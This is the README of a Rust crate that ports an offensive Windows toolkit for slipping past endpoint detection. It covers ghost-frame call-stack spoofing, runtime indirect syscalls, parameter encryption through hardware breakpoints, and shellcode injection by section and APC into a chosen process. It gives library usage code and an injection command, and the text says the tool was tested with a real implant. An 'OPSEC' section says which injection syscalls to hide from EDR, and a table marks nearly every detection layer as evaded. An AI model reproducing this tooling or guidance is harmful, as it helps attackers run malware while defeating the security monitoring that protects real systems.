Files
Karkas66-lacuna-rs/README.md
T

359 lines
17 KiB
Markdown

# lacuna-rs
**Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust.**
Ported from [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain) (`lacuna_chain.c`) by Mohamed Alzhrani (0xmaz).
`lacuna-rs` is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped into any Rust project — like `wsyscall-rs` or `syscalls-rs`, but with **runtime SSN resolution**, **per-function `syscall;ret` targeting**, and **ghost-frame stack spoofing**.
---
## Critical: Frame-Pointer Requirement
> **The `stack-spoof` feature will silently fail if the consuming crate is not compiled with frame pointers.**
The stack-stomping primitives in `chain.rs` locate the caller's return-address slot via `mov rbp, {x}` inline asm. This requires the RBP chain to be intact. Rust (and most release-mode compilers) omit frame pointers by default.
**`build.rs` sets `force-frame-pointers=yes` for this crate's own codegen, but Cargo cannot propagate compiler flags to downstream crates.** You must add this to your own project:
```toml
# .cargo/config.toml (in YOUR crate, not in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
```
Without this, `stomp_plant()` will read garbage from RBP and either no-op (best case) or corrupt the stack (worst case). The crate has no way to detect at runtime whether frame pointers are enabled — it will simply not work.
If you only need the scanning, SSN resolution, or injection primitives (without stack spoofing), you can omit the `stack-spoof` feature and this requirement does not apply.
---
## What it does
| Primitive | C function | Rust module |
|---|---|---|
| PE section + export parsing | `pe_section()`, `pe_export()` | `pe` |
| `.pdata` ghost-region scanning | `scan_ghosts()`, `best_ghost()` | `scan` |
| Ghost-gadget discovery (`jmp [rbx]`) | `scan_ghost_gadgets()` | `scan` |
| `win32u` NOP-gap finder | `win32u_nop_gap()` | `scan` |
| BYOUD-MF anchor finder | `find_mf_target()` | `scan` |
| SSN resolution (Hell's Gate / Halo's Gate) | `resolve_ssn()` | `nt` |
| Per-function `syscall;ret` locator | `find_func_syscall()` | `nt` |
| JIT indirect-syscall stub emission | `alloc_stub()` | `stub` |
| Ghost-gadget stub redirect | (in `alloc_stub()`) | `stub` |
| VEH + hardware-breakpoint param encryption | `param_encrypt_veh()`, `pcrypt_arm()` | `veh` |
| Chain-guard VEH | `chain_veh()` | `veh` |
| LACUNA chain construction | `build_chain()` | `chain` |
| Stack stomp (BYOUD-RT) | `stomp_plant()`, `stomp_restore()` | `chain` |
| Chain walker (verify) | `lacuna_walk_chain()` | `chain` |
| Section-based APC injection | `do_inject_sapc()` | `inject` |
---
## Feature flags
```toml
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
```
| Feature | Description | Requires frame pointers? |
|---|---|---|
| `syscalls` (default) | SSN resolution + JIT stub emission | No |
| `inject` (default) | Section-based APC injection (`inject::inject_sapc`) | No |
| `veh` | VEH + hardware-breakpoint parameter encryption | No |
| `stack-spoof` | LACUNA ghost-frame chain + stack stomp | **Yes** |
| `no-std` | `no_std` mode (experimental) | No |
When no features are enabled, only the scanning/PE/NT layers are available.
---
## Quick start
### Scan for ghost regions
```sh
cargo run --example scan
```
### Build + verify the ghost-frame chain
```sh
cargo run --example verify --features stack-spoof
```
### Inject shellcode via section + APC
![Injection proof](assets/lacuna.png)
Injection Example with real implant - C2 was offline but the Shellcode executed
```sh
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
```
Add `--verbose` to enable VEH diagnostic output (stack dumps, register prints):
```sh
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
```
#### Thread scoring algorithm
Instead of queueing APCs to every thread in the target process (which can crash
the process when too many threads are alerted simultaneously), `inject_sapc`
uses a scoring algorithm to select the best `MAX_APC_THREADS` (5) candidates:
- **Cycle time** — `NtQueryInformationThread(ThreadCycleTime)` — primary activity indicator
- **CPU time** — `NtQueryInformationThread(ThreadTimes)` — kernel + user time
- **Suspend count** — `NtQueryInformationThread(ThreadSuspendCount)` — non-suspended threads get +300 bonus; suspended threads get -150 per suspend count
- **Priority** — `NtQueryInformationThread(ThreadBasicInformation)` — threads with priority 8-10 get +150 bonus; out-of-range priorities get -100 penalty
Completely idle threads (zero cycles and zero CPU time) are skipped entirely.
The remaining candidates are sorted by score (highest first, tie-break on cycles)
and truncated to the top 5.
---
## Using as a library
### Basic: scan + SSN resolution
```rust
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);
// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
```
### Emit an indirect syscall stub for any NT API
```rust
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
```
### Build the ghost-frame chain + register VEH
```rust
// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();
// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);
```
### Wrap a sensitive syscall with stack spoof + param encryption
```rust
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();
// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };
// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
```
---
## OPSEC: What to hide behind ghost frames
Not every API call needs the full LACUNA treatment. The key principle is: **hide the calls that an EDR would correlate as injection or post-exploitation activity**.
### Must be behind indirect syscalls + ghost frames + param encryption
These are the "crown jewel" NT syscalls that EDRs hook and correlate:
| Call | Why it's sensitive |
|---|---|
| `NtOpenProcess` | Opens a handle to another process -- first step of injection |
| `NtCreateSection` + `NtMapViewOfSection` (remote) | Section-based injection signature |
| `NtWriteVirtualMemory` | Cross-process write -- classic injection indicator |
| `NtCreateThreadEx` | Remote thread creation -- highest-signal injection primitive |
| `NtQueueApcThread` | APC injection -- high-signal |
| `NtProtectVirtualMemory` | RWX permission changes -- shellcode staging indicator |
| `NtAllocateVirtualMemory` (remote) | Remote allocation -- injection prelude |
| `NtSetInformationThread` | Thread hiding (`HideFromDebugger`) -- evasion indicator |
For each of these:
1. Resolve with `nt::resolve(ntdll, b"NtXxx\0")`
2. Emit a stub with `stub::make_stub(ssn, syscall_ret)`
3. XOR-encrypt sensitive parameters with `veh::pcrypt_arm(key, syscall_ret, true)`
4. Wrap the call between `chain::stomp_plant()` and `chain::stomp_restore()`
### Can be direct (no ghost frames needed)
| Call | Why it's safe |
|---|---|
| `NtQueryInformationThread` | Query-only, rarely hooked, no cross-process write |
| `NtDelayExecution` | Sleep -- benign, used by every application |
| `NtClose` | Handle close -- benign, extremely common |
| `GetModuleHandleA` / `GetProcAddress` | Module resolution -- not a syscall, not hookable by EDR userland hooks |
| `CreateToolhelp32Snapshot` / `Thread32First` / `Thread32Next` | Thread enumeration -- kernel32, not ntdll syscall |
| `OpenThread` / `CloseHandle` | Standard handle ops -- kernel32 |
| `GetThreadContext` / `SetThreadContext` | Needed for DR0 -- kernel32, self-process only |
### Key principles
1. **Resolve** any NT syscall with `nt::resolve(ntdll, b"NtXxx\0")` -- returns `(SSN, syscall_ret_VA)`.
2. **Emit** a JIT stub with `stub::make_stub(ssn, syscall_ret)` -- returns a callable function pointer.
3. **Cast** the stub to the appropriate `extern "system" fn(...)` type via `core::mem::transmute`.
4. **(For sensitive calls only)** Build the ghost-frame chain with `chain::build_chain()` and call `chain::stomp_plant()` / `chain::stomp_restore()` around the call.
5. **(For sensitive calls only)** Arm parameter encryption with `veh::pcrypt_arm(key, syscall_ret, true)` before the call, and `veh::pcrypt_disarm()` after.
6. **Always disarm** the VEH before making non-protected calls -- a stray DR0 hit on an unarmed syscall will crash.
7. **All output strings** must be wrapped in `lc!()` -- the crate enforces this, and the VEH diagnostics are gated behind `set_verbose(true)` which defaults to off.
The stub handles the `mov r10, rcx` / `mov eax, SSN` / `jmp [syscall;ret]` sequence automatically. If a ghost gadget was registered, the stub routes through `JMP [RBX]` for dual-use execution redirect + zero-artifact bridge frame.
---
## Writeup Coverage Verification
All 9 key contributions from the [LACUNA Chain writeup](https://0xmaz.me/posts/LACUNA-Chain-Ghost-Frames-defeats-All-EDR-layers-of-call-stack-based-detection/) are represented in the code:
| # | Writeup Concept | Code Location | Description |
|---|---|---|---|
| 1 | **BYOUD-Gap** (zero `.pdata` modification) | `chain.rs` -- ghost frame chain construction | Exploits gaps between `RUNTIME_FUNCTION` entries; unwinder treats them as leaf frames (RSP += 8) |
| 2 | **ETW-Ti APC Window Attack** | `inject.rs` -- `NtDelayExecution` alertable drain | Controls when the ETW-Ti APC stack snapshot fires by manipulating thread alertable state |
| 3 | **Parameter Encryption in BYOUD Context** | `veh.rs` -- `pcrypt_arm()`, `param_encrypt_veh()` | XOR-encrypts syscall params at staging; decrypts inside a hardware-breakpoint VEH at the `syscall` instruction |
| 4 | **Win32u NOP Gap Chain + Ghost Gadget** | `scan.rs` -- `win32u_nop_gap()`, `scan_ghost_gadgets()` | 1,242 NOP gaps in `win32u.dll` provide whitelisted leaf frames; `JMP [RBX]` ghost gadget at `ntdll+0xFC47B` |
| 5 | **kernelbase Semantic Ghost Proximity** | `chain.rs` -- `L2_kbase` layer near `VirtualProtect` | 238-byte ghost ending at `VirtualProtect`'s entry point -- indistinguishable from a real VP return site |
| 6 | **BYOUD-MF (Machine Frame RSP Teleport)** | `chain.rs` -- `MachFrame` struct, `scan.rs` -- `find_mf_target()` | Exploits `UWOP_PUSH_MACHFRAME` (opcode 10) in `KiUser*` dispatchers for arbitrary RSP teleport in a single frame |
| 7 | **BYOUD-RT (Runtime RSP Calculation)** | `chain.rs` -- `teb_stack_base()`, `teb_stack_limit()` | Reads `TEB.StackBase` (GS:[0x08]) at call time to compute exact frame distance -- no pre-calibration needed |
| 8 | **wow64.dll Ghost Proximity** | `chain.rs` -- `L1_wow64` layer, `scan.rs` -- targets `Wow64PrepareForException` | 91-byte ghost ending at `Wow64PrepareForException` entry -- fourth semantic layer for the chain |
| 9 | **Six-Layer LACUNA Chain** | `chain.rs` -- `LacunaStack` struct (L1-L5 + MachFrame) | Full chain: `KiUserExceptionDispatcher` -> wow64 -> kernelbase -> ntdll -> win32u -> `RtlUserThreadStart` |
### Detection surface coverage
| Detection Layer | Status | Implementation |
|---|---|---|
| Module-of-origin check | **EVADED** | All frames in ntdll / kernelbase / wow64 / win32u |
| Unwind walk correctness | **EVADED** | All lacuna frames are leaf -> valid RSP+8 |
| `.pdata` forensic scan | **EVADED** | Zero modification; gaps are pre-existing |
| CET shadow stack | **EVADED** | Pure leaf chain; shadow stack not consulted |
| Semantic frame analysis | **EVADED** | WoW64 exception + VirtualProtect adjacency |
| Win32u rule exemption | **EVADED** | Layer 4 explicitly excluded by all rules |
| ETW-Ti STACKWALK | **EVADED** | APC window attack controls snapshot timing |
| Parameter inspection | **EVADED** | HW breakpoint VEH decryption |
| Kernel callbacks | **PARTIAL** | Handle operations still fire `ObRegisterCallbacks` |
---
## Why not just use `syscalls-rs`?
`syscalls-rs` and `wsyscall-rs` generate a **build-time SSN table** from a specific Windows build's ntdll. If the target machine runs a different build, the SSNs are wrong and syscalls fail (or trip EDR heuristics).
`lacuna-rs` resolves SSNs **at runtime** by reading ntdll's stubs directly, and targets the **function's own `syscall;ret` instruction** so RIP is inside ntdll at kernel entry -- defeating the EDR "SSN mismatch" and "indirect syscall from unbacked memory" heuristics.
Additionally, `lacuna-rs` provides the **ghost-frame stack spoofing** chain that `syscalls-rs` does not.
---
## Build requirements
- **Target:** `x86_64-pc-windows-msvc` (or `x86_64-pc-windows-gnu`)
- **Rust edition:** 2021
- **Dependencies:** `litcrypt2` (compile-time string obfuscation)
### Frame-pointer setup (for `stack-spoof` only)
The `stack-spoof` feature requires frame pointers. `build.rs` sets `force-frame-pointers=yes` automatically for this crate, but **consuming crates** must also set it in their `.cargo/config.toml`:
```toml
# .cargo/config.toml (in the consuming crate)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
```
### litcrypt2 string obfuscation
All string literals in the crate and examples are wrapped in `lc!()` macros, which encrypt them at compile time and decrypt at runtime. The encryption key is read from the `LITCRYPT_ENCRYPT_KEY` environment variable; if unset, litcrypt2 auto-generates a random key.
To pin a key for reproducible builds:
```sh
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
```
---
## Architecture
```
lacuna-rs/
├── Cargo.toml
├── build.rs # Sets force-frame-pointers for stack-spoof
├── src/
│ ├── lib.rs # Crate root + re-exports + scan_all() + litcrypt2 setup
│ ├── win.rs # Win32/NT FFI bindings (no_std-compatible)
│ ├── pe.rs # PE section + export parsing
│ ├── scan.rs # .pdata ghost-region + gadget scanning
│ ├── nt.rs # SSN resolution + syscall;ret targeting
│ ├── stub.rs # JIT indirect-syscall stub emission
│ ├── veh.rs # VEH + hardware-breakpoint param encryption
│ ├── chain.rs # LACUNA ghost-frame chain + stomp
│ └── inject.rs # Section-based APC injection
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + windows-msvc target
```
---
## Credits
- **Original research & C implementation:** Mohamed Alzhrani (0xmaz) -- [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain)
- **Technique:** *Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae*
- **Find Best APC Thread Logic:** Adapted from [FrankensteinAPCInjection](https://github.com/S12cybersecurity/FrankensteinAPCInjection/blob/main/Frankenstein/FrankensteinAPCInjection/FindThread.cpp) by [S12cybersecurity](https://github.com/S12cybersecurity)
- **String obfuscation:** [litcrypt2](https://crates.io/crates/litcrypt2) v0.1.3
## Full Disclosure
This project was activly assisted by an AI Chatbot. I had the chance to test a newer, very capable Open Source Model (GLM-5.2 by Z.ai (Zhipu AI)) and wanted to give it a challenging task.
Lessons learned: It worked well if the human knows what results shall look like. If not... only crap
## License
MIT